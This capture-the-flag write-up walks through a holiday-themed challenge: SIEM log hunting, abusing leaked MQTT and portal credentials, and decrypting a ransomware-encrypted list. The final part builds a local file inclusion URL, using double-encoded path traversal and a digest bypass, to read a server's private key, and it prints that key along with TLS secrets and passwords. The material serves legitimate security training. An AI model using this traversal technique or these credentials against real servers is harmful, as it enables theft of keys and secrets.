Now Wombley’s gone and gotten the Naughty-Nice list ransomwared! Santa is not pleased…
Elf Stack
Fitzy Shortstack and the North Pole SOC need our help.
Elf Stack Silver
Elf Stack Gold
Directions for setting up the ELK container can be found in the Help section.
- Download the elf-stack-siem-with-logs.zip file and the separate log files. Put the .zip log files into their own directory.
- Extract to a single directory.
- Navigate to the directory and run “docker compose up setup”. The command will take several minutes to complete.
- “docker-compose” will run but produce different results. Be sure to use the newer command “docker compose”.
- Once that completes, run “docker compose up”. This will also take several minutes.
Do easy mode first for Silver, then hard mode for Gold.


Easy Mode (Silver)
- Question 1: How many unique values are there for the event_source field in all logs?
- 5
- Event_Source → visualize. From here I set the ‘top 5 values’ to be ‘top 25’ to confirm that there were just 5 fields available.
- Question 2: Which event_source has the fewest number of events related to it?
- AuthLog
- From the same query above, we can see that Authlog only has 269 records.
- Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
- event.hostname
- From discover tab
- event_source:”AuthLog”
- Click on the arrows on the left side to toggle the detail pane.
- event.hostname
- Question 4: Which event_source has the second highest number of events related to it?
- NetflowPmacct
- Seen in the table from question 2.
- Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?
- event.port_dst
- From discover tab
- event_source:”NetflowPmacct”, examine field details.
- event.port_dst
- Question 6: Which event_source is related to email traffic?
- SnowGlowMailPxy
- Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
- From discover tab
- event_source:”SnowGlowMailPxy”, examine field details.
- Question 8: Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?
- SecureElfGwy
- From discovery tab
- event_source:”GreenCoat”, examine field details
- SecureElfGwy
- Question 9: Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?
- Event.url
- From discovery tab
- event_source:”GreenCoat”, examine field details
- Event.url
- Question 10: Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?
- event_source:”GreenCoat”
- Click on event.url on the left side of the screen.
- Question 11: Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?
- 5
- Visualize the event.channel and count the top fields, similar to what we did for question one.
- Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?
- Microsoft-Windows-Sysmon/Operational
- event_source:”WindowsEvent”
- click on event.Channel on the left side of the screen.
- Microsoft-Windows-Sysmon/Operational
- Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
- 6
- Web Search
- Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?
- 4697
- Web search
- Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
- 0
- From Discover tab
- event_source :”WindowsEvent” and event.EventID: 4720
Silver trophy achieved!
Hard mode (Gold)
- Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?
- 1
- Web search.
- Question 2: How many unique values are there for the ‘event_source’ field in all of the logs?
- 5
- Event_Source → visualize. From here I set the ‘top 5 values’ to be ‘top 25’ to confirm that there were just 5 fields available.
- Question 3: What is the event_source name that contains the email logs?
- SnowGlowMailPxy
- Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event ‘From:’ field for this email log event.
- kriskring1e@northpole.local
- Examining details from event.ReceivedIP2 we see the unexpected address – 34.30.110.62
- Filtering on this gives us the answer kriskring1e@northpole.local.
- kriskring1e@northpole.local
- Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.
- SleighRider
- Filter for the phishing email on the Discover tab
- event_source :”SnowGlowMailPxy” and event.From: “kriskring1e@northpole.local“
- Note the link included in the email.
- http://hollyhaven.snowflake/howtosavexmas.zip
- Search the greencoat logs for the relevant connection.
- event_source :”GreenCoat” and event.url: “http://hollyhaven.snowflake/howtosavexmas.zip“
- The event.host field contains our answer: Sleighrider
- Filter for the phishing email on the Discover tab
- SleighRider
- Question 6: What was the IP address of the system you found in the previous question?
- 172.24.25.12
- event.ip field of the record from the previous query gives us this answer.
- Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?
- 10014
- event_source :”WindowsEvent” and event.Computer: “SleighRider.northpole.local”
- I used CLI for this one and for most of the rest of Gold.
- grep howtosavexmas.zip ./*.log
- examination of this output shows that the zip file contained howtosavexmas.pdf.exe.
- grep howtosavexmas.pdf.exe ./*.log | grep downloads
- The second log shows us the processID we’re looking for – 10014.
- 10014
- Question 8: Did the attacker’s payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.
- 8443
- The other event from the grep command used for question 7 shows us the destination port is 8443.
- Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.
- ddpvccdbr
- grep -i sleighrider ./*.log | grep -i pipe | grep -v Pipeline > pipe.txt
- The first event shows us our answer as part of this command: “cmd.exe /c echo ddpvccdbr > \\\\.\\pipe\\ddpvccdbr”.
- ddpvccdbr
- Question 10: The attacker’s process attempted to access a file. Submit the full and complete file path accessed by the attacker’s process.
- C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem
- I got lucky on this one and guessed that the file might have been on the desktop: “grep -i sleighrider ./*.log | grep “: 10014” | grep Desktop” gives us the event we need.
- Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?
- kringleSSleigH
- Searching the logs for the ID associated with the previous question using grep shows several suspicious connections to the linux server kringleSSleigH including failed authentication attempts followed by successful attempts that happen after the phishing attack.
- grep kkringl315 ./*.log
- kringleSSleigH
- Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?
- ssdh
- I extracted the authlog files to their own file: grep -i authlog > authlog.txt
- Then I searched for adduser: grep adduser ./authlog.txt
- ssdh
- Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?
- /usr/sbin/usermod -a -G sudo ssdh
- Searching for the new user account: grep ssdh ./authlog.txt
- Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.
- 2024-09-16T11:10:12-04:00
- “grep -i “ldap bind” ./*.log” shows the attack.
- Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.
- KringleGuard
- grep -i denied ./*.log
- Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?
- Nutcrakr
- grep -i “Certification Services” ./*.log
- Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.
- WishLists
- grep -i nutcrakr ./*.log | grep 5140
- Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?
- fR0s3nF1@k3_s
- grep -i nutcrakr ./*.log | grep “Domain Admins” | grep powershell
- Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?
- 2024-09-16T15:35:57.000Z
- grep for remote interactive logon. 4624 type 10.
- grep 4624 ./nutcrakr.txt | grep ‘LogonType”: 10’
- 2024-09-16T15:35:57.000Z
- Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?
- C:\WishLists\santadms_only\its_my_fakelst.txt
- I happened to have noticed this while looking for the share originally, so I knew to look back there.
- grep -i wishlists ./nutcrakr.txt – the last event shown has the file name.
- C:\WishLists\santadms_only\its_my_fakelst.txt
- Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?
- 4
- I brute forced this.
- Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?
- 22
- I brute forced this one as well.
- Question 23: Of all the reindeer, there are only nine. What’s the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.
- rud01ph.glow
- I extracted all of the mail logs to mail.txt, then used sed to get a list of all the senders.
- grep SnowGlowMailPxy ./*.log > mail.txt
- sed -n ‘s/.*”From”: “[^@]*@\([^”]*\)”.*/\1/p’ ./mail.txt | sort -u
- Then I manually scanned for reindeer names.
- rud01ph.glow
- Question 24: With a fiery tail seen once in great years, what’s the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.
- c0m3t.halleys
- Same as above. Extract senders then scan for reindeer names.
Gold trophy achieved!
Santa Vision
Ribb BonBowford needs our help to disable the Wombley team propaganda.
We are given the following hints.
- Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MQTTX
- See if any credentials you find allow you to subscribe to any MQTT feeds.
- jefferson is great for analyzing JFFS2 file systems.
- Consider checking any database files for credentials…
The elf tells us that we’ll need to use the terminal to get an IP from the gatexor (which is not to be hacked) and begin the challenge by scanning that address.

Once we are connected, scanning the IP we’re given gives the following results. 8000 and 9001 are the ones we are concerned with.PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
8000/tcp open http-alt
9001/tcp open tor-orport
A bit of testing tells us that 8000 is used for web and 9001 is used for MQTT. The site takes a bit to come up, but we can connect with a browser to http://<your IP>:8000/ . Once we connect there, we see a message telling us that topic ‘site status’ is available at the bottom of the screen.
That’s enough to get us started.
Silver
- Examining the html for the website login page gives us our first set of credentials.
- !– mqtt: elfanon:elfanon →
- This gives us the answer to the first question needed for Silver: “What username logs you into the SantaVision portal?”
- We can use these to log into the website.
- We can also begin monitoring the site status channel via the MQTTX client.
- From buttons on the website we gain the following new info about clients and roles.
- I stalled out for a long while on this step trying to make progress, and eventually got assistance on the discord channel.
- Before we can monitor feeds, we are told we need to power on the monitors.
- Elfmonitor seems like the ID to use, and we can find references to that being the case in the .js file.
- We can also verify that’s the correct ID by inputting it as the answer to the second question needed for Silver: “What username logs you into the SantaVision portal?”
- We can assume that ID in the webapp by changing the URL, but that still doesn’t give us access to power on the monitors.
- The website authentication and the MQTT authentication are each their own authorization context. We need the elfmonitor password to get the monitors on.
- There doesn’t seem to be a password available for elfmonitor, but it’s there in plain sight in the list of roles. Our 2nd credential is elfmonitor:SiteElfMonitorRole .
- Before we can monitor feeds, we are told we need to power on the monitors.
- Using the server IP, port 9001, and the elfmonitor credential, we can power on the monitors.
- We also get a couple new fields that we’ll use momentarily.
- We can now monitor MQTT feeds via our MQTT client or from the website.
- The third question needed for silver is “What is the code name for the elves secret operation?” and it tells us to subscribe to frostbitfeed.
- Frostbitfeed contains a couple messages that look very interesting but won’t be used until a later challenge.
- Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
- Let’s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
- We also see a note that says “Additional messages available in santafeed”
- In satafeed we see a message saying “Sixteen elves launched operation: Idemcerybu”
- Frostbitfeed contains a couple messages that look very interesting but won’t be used until a later challenge.
- “Idemcerybu” is the answer to the third question for silver.
- The fourth question for silver tells us there are too many admins, and to “Demote Wombley and Alabaster with a single MQTT message”.
- In the santafeed MQQT topic we see a message periodically that says “superAdminMode=true”
- We can do this step via the MQTT client or the web portal, but we need to be authenticated to the MQTT feeds with the elfmonitor ID.
- To get the answer for the last question needed for the Silver trophy, we post singleAdminMode=true to santafeed, and look for the images that show up in the northpolefeeds topic.
- The final answer for the silver medal is pogo stick (as two words).
Silver answer summary
- What username logs you into the SantaVision portal?
- elfanon
- Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the
northpolefeeds
on the monitors. What username worked here?- elfmonitor
- Using the information available to you in the SantaVision platform, subscribe to the
frostbitfeed
MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation?- Idemcerybu
- There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the
northpolefeeds
feed. What type of contraption do you see Santa on?- Pogo Stick
Gold
Talking to the elf at this point gives us new hints that don’t show up in the ‘hints’ section.



- One other message in the sitestatus topic stands out:
/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
- Downloading this file and examining it tells us it is a JFFS2 file system.
file applicationDefault.bin
applicationDefault.bin: Linux jffs2 filesystem data little endian
- This lines up with one of the hints we received. Examining the file system can be done with jefferson. Running jefferson agains the file extracts the file system to jffs2-root directory.
- Within the file system at “/Users/hideouspenguin/Desktop/filesystem/jffs2-root/app/src/core/views.py”, we find a credential that looks useful, but isn’t required for the challenge.
- Using it can cause confusion because actually have all the access needed.
- It can subscribe to the # channel which is possibly useful, but not necessary.
- It’s better to avoid using this credential to avoid going down a rabbit hole in the challenge.
- SantaBrokerAdmin”, ‘password’:”8r0k3R4d1mp455wD”
- In /Users/hideouspenguin/Desktop/filesystem/jffs2-root/app/src/accounts/views.py we find evidence of a database file we can download – /sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite
- We have our fourth set of credentials for SantaVision, and also the answer for the first question needed for SantaVision Gold – santaSiteAdmin.
- For the next question we need another ID that can log in to see the MQTT feeds. It seems like this should be the SantaBrokerAdmin credential we found earlier, but that’s not the one the challenge is looking for.
- If we authenticate to the web portal as SantaSiteAdmin while monitoring the traffic, we can find the credential in the http headers. This lines up with one of the elf’s hints. The screenshot is from the chrome dev tools network tab.
- The answer for Gold question number 2 is santashelper2024.
- The third question for Gold asks again for the secret code name of the elves operation.
- Going back to the answer for Silver…
- Idemcerybu is snowmobile encoded in ROT10. Our answer is snowmobile.
- Going back to the answer for Silver…
- The final question for Gold requires us to post another message to santafeed setting single admin mode to true. This time, we need to do so via an MQTT client using the santahelper2024 credential that we just found.
- Log into website and power on monitors with santashelper ID
- Log into MQTT client and post singleAdminMode=true to santafeed
- (validate this before submitting)
- The images can be downloaded from the MQTT client or viewed in the northpolefeeds channel on the web app.
The answer for Gold is “hover craft”
Gold Answer Summary
- What username logs you into the SantaVision portal?
- santaSiteAdmin
- Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the
northpolefeeds
on the monitors. What username worked here?- santashelper2024
- Using the information available to you in the SantaVision platform, subscribe to the
frostbitfeed
MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation?- snowmobile
- There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the
northpolefeeds
feed. What type of contraption do you see Santa on?- hover craft
Frostbit Ransomware: Decrypt and Deactivate

The final challenge has two parts. We need to decrypt Santa’s Naughty & Nice list, and we need to deactivate the ransomware to prevent the list from being published. The Holiday Season needs our help once again!
I got help with several steps of this. Thank you Loaf and Lukash!
These challenges can be solved in any order. I would normally have prioritized deactivation, but following the threads I found led me to decryption first.
Each player is given a UUID and a unique instance of the ransomware artifacts and portal. The challenge starts by downloading a set of artifacts from the ransomware. Each download regenerates the artifacts setting up a new instances of the frostbit portal associated artifacts / API endpoints.
We are given the following artifacts:
- A TLS encrypted PCAP
- A core dump (memory dump) of the ransomware.
- Several useful strings can be pulled out of this file including keys needed to decrypt the PCAP, most of the information from the pcap itself, URL and API info allowing us to access our own frostbit portal.
- An executable file: Frostbit.elf
- I loaded this into Ghidra and scanned through strings and functions, but did not interact much after the initial review.
- An encrypted version of the naughty/nice list to decrypt.
- A ‘do not change’ file that includes the digest linked to our instance of the ransomware portal.
We also have two relevant messages intercepted earlier during SantaVision from the frostbit MQTT channel.
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
- This message is relevant to decrypting the list.
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
- This message is relevant to deactivating the frostbit ransomware.
No Silver tier for these challenges. Go Gold or Go home!
Decrypt the List
Tangle Coalbit gives us the lowdown
Examining the pcap we downloaded to start the challenge makes it clear that we will need to decrypt it to get the information we want from it as all the packets are TLS encrypted.
Running strings against the core dump gives us the information we need to get started. Inside we find:
- A link to our instance of the ransomware portal. For Example:
- An API call to that portal that returns our nonce. In this case {“nonce”:”f38f5c0d76d67ad0″}
- An API post to the portal.
- POST /api/v1/bot/b915b52e-bc32-4090-b165-695da0e8f5a1/key HTTP/1.1
- Client and Server handshake and traffic secrets which can be used to decrypt the pcap.
- A string labeled “encrypted key”.
- Various other strings related to the ransomware.
Decrypting the pcap gets us essentially the same information we got from the core dump, but we don’t know that until we do it. To decrypt the PCAP we need to give wireshark the TLS encryption information.
- Extract the client and server traffic and handshake secrets into their own file. This command will do it in one step.
strings -n 135 ./frostbit_core_dump.13 | grep TRAFFIC_SECRET | sort -u > frostbitTLS.tx
t- The contents will look like this:
- CLIENT_HANDSHAKE_TRAFFIC_SECRET 52768b815d553b4d863af18cb48157b8045894ccd38f840ef5c5f7c5c26bf0ac 22d0b5efb5b2e8089989d979b24981cdd2e9adbcb68537fc4f50b8347b9803b3
- SERVER_HANDSHAKE_TRAFFIC_SECRET 52768b815d553b4d863af18cb48157b8045894ccd38f840ef5c5f7c5c26bf0ac 24535ee22e772eacb3b36ba08ce2ab7ed599e7fadfe37aa8c1852e5a8a65cefc
- CLIENT_TRAFFIC_SECRET_0 52768b815d553b4d863af18cb48157b8045894ccd38f840ef5c5f7c5c26bf0ac 61ea659b0a89248af76284a97512fc6d3f00ad5b35332c002799e2b38ca82650
- SERVER_TRAFFIC_SECRET_0 52768b815d553b4d863af18cb48157b8045894ccd38f840ef5c5f7c5c26bf0ac b8c71555fc46a20d28b1b92a0657a7298437fa23c88b33a80b962a8e68c4be35
- Tell wireshark where the keyfile is.
- Wireshark → Preferences → Protocols → TLS
- Add the file to the TLS Master-Secret log filename field.
- Open the pcap in wireshark and we can see now that the decrypted packets are highlighted.
- Right click on one of the packets and follow the TLS stream.
- The decrypted pcap contents are displayed.
Turning our attention to the ransomware portal reveals the following.
- A debug mode is referenced in the page source which can be activated by appending debug=true to the url of the portal.
// Default values with placeholders for data passed from the server-side Python script
const isExpired = false;
const expiryTime = 1766534400;
const uuid = "b915b52e-bc32-4090-b165-695da0e8f5a1";
const debugData = false;
const deactivated = false;
const decryptedkey = false;
- Three error messages of note can be found.
- The first occurs if we change the string value referred to as ‘status ID’ that comes after /view/ in the URI.
- This suggests that we can use this value to perform a local file inclusion attack.
- We already have our target for this attack from the SantaVision challenge Let’s Encrypt message we intercepted.
- The second error happens if we change the last portion of the URL following “digest=xxx” to a value that contains an odd number of digits.
- This gives us the location of the python script we saw referenced in the page source. We can now download the script from https://api.frostbit.app/static/FrostBiteHashlib.py
- The script is run by the server to validate the digest against the request.
- The third error happens if we change the digest value to any even number of digits. It’s similar to the first error but instead says “{“debug”:true,”error”:”Invalid Status Id or Digest”}”
- This confirms that the digest is used to validate the local file request.
- The first occurs if we change the string value referred to as ‘status ID’ that comes after /view/ in the URI.
Examination of the python script reveals a vulnerability in the hashlib that we can exploit to bypass the digest validation. The script uses the nonce to xor the file name and file contents, then performs an AND operation of the results.
Because we know the nonce and how it’s used, and because we can control one of the inputs to the script (the URI portion used as the file path), we can leverage this to force the hashlib script to generate a digest of all zeroes.
To craft our attack
- The url will need to be double encoded to bypass filtering on the server side.
- The nonce is a hex value, and we’ll need to take that into account when formatting our attack.
- f38f5c0d76d67ad0 becomes %f3%8f%5c%0d%76%d6%7a%d0
- The digest is 16 bytes (32 characters) and the nonce is 8 bytes (16 characters). So we’ll need to use the nonce twice in a row to negate the real digest result.
- %f3%8f%5c%0d%76%d6%7a%d0%f3%8f%5c%0d%76%d6%7a%d0
- The file we are looking for (from the SantaVision message) is
/etc/nginx/certs/api.frostbit.app.key
- The digest needs to be negated so that the file contents don’t matter, so it will be all zeroes.
- We’ll need to have debug=true in the URI so we can see the file contents once we get the LFI attack correct.
- We don’t know the file contents, so we’ll need to use padding to ensure that our nonce lines up with the XOR’d value we’re trying to negate.
Putting it all together
- URL
- /view
- The nonce (twice)
- /%f3%8f%5c%0d%76%d6%7a%d0%f3%8f%5c%0d%76%d6%7a%d0/
- Double encoded file path traversal so we can make our file attack work (../../../ etc)
- %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f
- The file path and file we’re trying to get the contents for.
- /etc%252fnginx%252fcerts%252fapi.frostbit.app.key/
- Our UUID
- b915b52e-bc32-4090-b165-695da0e8f5a1
- The digest of all zeroes
- /status?digest=00000000000000000000000000000000
- The debug statemenet
- &debug=true
- Final URL (almost)
- https://api.frostbit.app/view/<padding goes here>%f3%8f%5c%0d%76%d6%7a%d0%f3%8f%5c%0d%76%d6%7a%d0%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/b915b52e-bc32-4090-b165-695da0e8f5a1/status?digest=00000000000000000000000000000000&debug=true
- To find the right padding, we need to try the various numbers of characters until we find the right number. a, aa, aaa, etc.
- This is the final URI from my first time performing the challenge. It’s not valid anymore, but this is what the final product looks like.
The result will be an RSA key printed out at the bottom of the screen. We can use this to decrypt the encrypted key we found in the core dump and the pcap.
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
xXGgw0t/FqiDglpSF1PFxPvUzJwcJNQhIYQCxRCwHkHqVSnToZcnjJjhgVyXsTNy
5pOLBWqg5nSnXrwl8JfGkUHN/Twbb829rIMT550ZxO8KYH4q/kV3cwVcSYfEYvMJ
JoeQFCgHiuL5EuxAUbO6KZgTnRWhWQmotTQb+fCj8siljg8dIdwxB690LvZYpvv4
yPLYgqCf9PzzgrZPvlJ+XkInJ3s/+DOL0VbCgTHP0gbpO7kdjiTOBS1Jp+FtbCG+
6omvwSg/cELNnsDCs6F1x33iR7tumeQySwNPWNGt6pOHmyGfHYL2Rxhj5S5nCXqx
GCx2q2mH8l4AL5bbzVVxEEa++Fgnd9r24SSC3bvlNVT0CDfBdoKzTuO8RONB4WKN
kbqNj+ME8JDHUA39ld/yqIViGjjAER/NTishk5zk0419AiQpHfOUnCNxq17NZP5K
gLxx7xrTaLdPm0X9aMOcquIPenjrwZfIVpyqZoUn/D0zinoNInok8CFdbD8CAwEA
AQKCAgAAgwz7PZuaqRsuafc9YblXyEqTphiCBGuIhuhul8hnJ2nb0ONKrDx9rk1E
tIizkR8BIqqwonVoxtH9uLKUA0oermwLZFtTqye6CapTBoZ1bXcELlhz+ARBnHyH
DG/rLcM+3YSsxu0AlzN0rIGX5Lnj4jTGuFvlHntmGbLh9QqHJDzZKWmTACqUcTN0
8biM+v4w5Rtq6PQot7vYVRcIBnJpTv2oqyOfRT8Frao9g213JA6xnI8CK9XJ83wx
56kGrinABUxaoKG6s33+XRHTursxKDxJPxzP6NJsgMtU/8kw0lAKghoLcofEfmfe
oUAl7RYwOfdgUdVJFfws3vclPFxAUMNNiJW8Tl/IY6mZ5Pp1Gpi+omBOyYfk9iyM
S8R76afj3d0RhtT0Jii88yFtMBVFLSL8Y0sXEXEMdIXtox7fcb2TlZxXodYJeHJC
0dLQ3b7CB+SPyDj3xZZHEFj4DRXwuCYKlXsaomXL7q9bqL8ljjJqc4WRWCe1+51e
sFP9fUMzuc6lcbHczLhN5dgR+cqriMo8LzrwpNia6DjGyBMfOyPLiN0Z7ZfXrXDv
VSbBjrMqeMtC6SU10Cd2mVZLNJLjGnIwf/Sduo7VoNTg8F9GcaUrSqHKuB3dMU9c
rvRHBxsDr4iszW4X0LCM6zSU84aES1kP/CNKg4zZXV2GvYMGFQKCAQEA5wFd+YbE
n02HTZo+8V0R/cK38NvEDAASKxEsREOTGybKw4B9oCL64sE8RYXOrbYo2MGLC7JL
q08yLrEWCcWCObdDhMbTxYV+J0rSGxiGjiOLGGoWwgKHS1FnrOBdL7bFBqayESji
EqfVNk2VrmlhJKOMWwb2APGL8s4qdQkrHWwptpc+UDJuJHdc6QCsHrHyafahfqwd
aTHpyBRqIK69FmMSBPiSMLxE+1GI2yoy00Z55BEEJjQ1bTG1HdOkrNf5fBf+6WNA
A3dc/2LaDk7Iotl5ZguhlwUQxZzxWhn2X23NVcQJGjJ4s0LwJyzPdi1CUlgA/UyQ
r2UaD0nxYXl5ywKCAQEAuFfQ2pMd0M7C+R7SmfN3765oqGKL+2FwkSgrhUW2aWzl
27SmyVSC0LloGDG6GorrhtLiqmfFGDW+RBpG0aJITGOSbe3N0VH9pSu9buurnvJW
DjijaNDKJnuihnuBH1VDsHCZROI6WvDFW1xyBPXo5nRVY6y5Or2eGTi/kbB/rEld
EdvuA2CcwYOSnuffccQ8TRI+RXLV1JDT3lWGKxRvyGuMUINzNk0nZN8X/Vw1SI4J
dfZgWroizIZ9cu9RhYPdzqKW55TduKRRFDbSbQEecP8/HxUw0Zr3S3Z/dWA2vSmK
o3OxmSIxnNlAkVZwrtoLr8qXggvN5dUdw/0BTrTY3QKCAQEAxDcqDpBFpRaibe0t
t7CZXpWtzh2tyY+p3wEIO7e2VWK+6g7TJllwB3mha2A77NuEmJDVPYslsQ5lDroG
gShN9B5RcI++Q9GfFVr9WlybtlJEjOlYCVVCfFxaFsLBBI1Xj826BM9YMAZ1GVoP
YQVLqWZuCse/349Mk2JBOAYgpC5CxEB1goNDgSAOQC/9A1mdEhqWlFU36immbPfC
KZ6jKEfgf25wJotUgLCB8b9HSqRbVriJcLX6B5UoRXyHLPWKibiMIsvWDNuvl5Hs
rCiJTaIx9ta8W93GoEQt0Z2p4ucOeeI45RKn6YRbHrt2QOgypGTx+jW10/WpjAD/
0g7vvwKCAQB1VV/YX9+QcqpjSp0d5HwokMiItQEIZkLyAbGByJeMjwXXTCsE5sfE
9t4s2CnujxHO5RflAtvOxxZt3pPJBxQhmxcu5TglzZw2r5qJqXO5XeIsdxx7sLma
uQL/uki7mtfUzDaiQ6SFEc9skXD5e1RcqxtWsC/OFbc1sossvjzlemTE40mh2LKt
8YM3pbrxfMgs/jmolqlH/U79q04UyZNE7D+JV8HThFRYvi9U0oYPwmh/Luyxktxn
dgsPRwiKhR5/UbnfeT+PMPdyeFqDizzHC5AvxpsmLw7Md4Y1PaJZ0MEvvIoEQGF3
xkh0uaJLiPn7UGYTHlRVv8qMXtOgNzf5AoIBADMC2X5FBjyxv/yTAROg8Dn90Kth
p2PqLDVGeHDL2v0xcyvIthIve3/xGZgtBghfSyMPcqZ5s8h15m+/QNNd95zl7xqF
5DJPoP66w+/wM+W4m/voMQM1kbQSnDqttLzG4TAXrjqklvx0QQAJAkC5X9L39WuE
+uHrkL2DOOn32tcSzic8SHMcZCg6VS/VIXi9C70Xq4pwa5RuFAtV9vBo90vD2m+F
yIHlLUXkLRxFZPPQZNwsACD8YoRPW/w60n2z7BzA5PcIZKNJlZqa9ixBunIxZXII
jd6fDxOeVjU6usKzSeosoQCkEFvhlkVH6EK6Xfh6XDFatAnZyDNVP/PPihI=
-----END RSA PRIVATE KEY-----
The encrypted key will look something like this:
{"encryptedkey":"3d55bdf4f97d696a550df407af60a924c9767d7cb29a2e6e1d41fa18ae79a5e40b4f7ff22524be50f9b0a1abf79e1c3072d71e6f9167bc8b893c9b3ac9c6414f51a72518b037c83eab47b816db7e164e32f2c1a607e858654833f2c1854a4374b083255fcee64a036850c7cef6c79f2cf975e6e79f1f2b368524336530072cb190493ad9046fc81c0e9711456f6266dc43f0ffb15a5cf14d4b90216dc9c4af353a51cc62391436cf9efe9a0bd75a1a4923593ba8a813a667e7b1c48269e14908d0ff16300d220a1244f44fe55e0cc5720de27f482b542653e6f6d5b0d3f70561a519698f14369004141fcaa31cbfa31c77d976fe3dfbac11e4f69a3e4cd25688954432e974bf0c88ffb5e7deff6a58abefbbae15b28776611e3093bbb18821918313b37b34325f3768c246137ebab6b06e345ed32013f812d9a55d426286ba3cf8db700bda1443b3d3f69b8c09bea3f10fa26efcd1dd03fde363e89a8816f0cb52455237fdde3dfdea8b07d71de559523d9745974bd0f4373f8970c6cdf4bd9e237f450c5e2b97b0b1f5ae71a177b68b4aaf02b5259f3063c26a36174458d0361ce1873b35697986745ef90c87095ffe0edd1878e7db1f56f35a27cf0a040a5b64475a135b2073df46d5c7ebb75257e650a87e4bc64ef2b1f72289c71f5aa0e1c3bafe30e82d17d154560f2e92a931c2031e25c13401204d98c67fa29e5dff81","nonce":"d539a7bc39b0a318"}
To decrypt the key we add ‘from hex’ and ‘RSA decrypt’ to cyberchef. Paste the key into the RSA decrypt module and set the type to PKCS. Then put the encrypted string in the input.
The ouput is the decryption key for the list, followed by our nonce.
Key: 299ad6b0c60dd42e7fce134eea4f8834
Our Nonce: d539a7bc39b0a318
The list is encrypted via AES CBC which means the IV is included in the encrypted data.
To decrypt the list:
- Add the encrypted list to cyberchef as input.
- Add the ‘to hex’ module and set the delimiter to none.
- Copy the first 16 bytes (32 characters). This is the IV.
- Remove the to hex module, and add the ‘AES Decrypt’ module to cyberchef and set the mode to CBC.
- Paste the string we just copied into the IV field and set the type to utf-8.
- Paste the decrypted key into the key field. Just the key, not the full value we decrypted earlier.
- 299ad6b0c60dd42e7fce134eea4f8834
- Set the key type to utf-8.
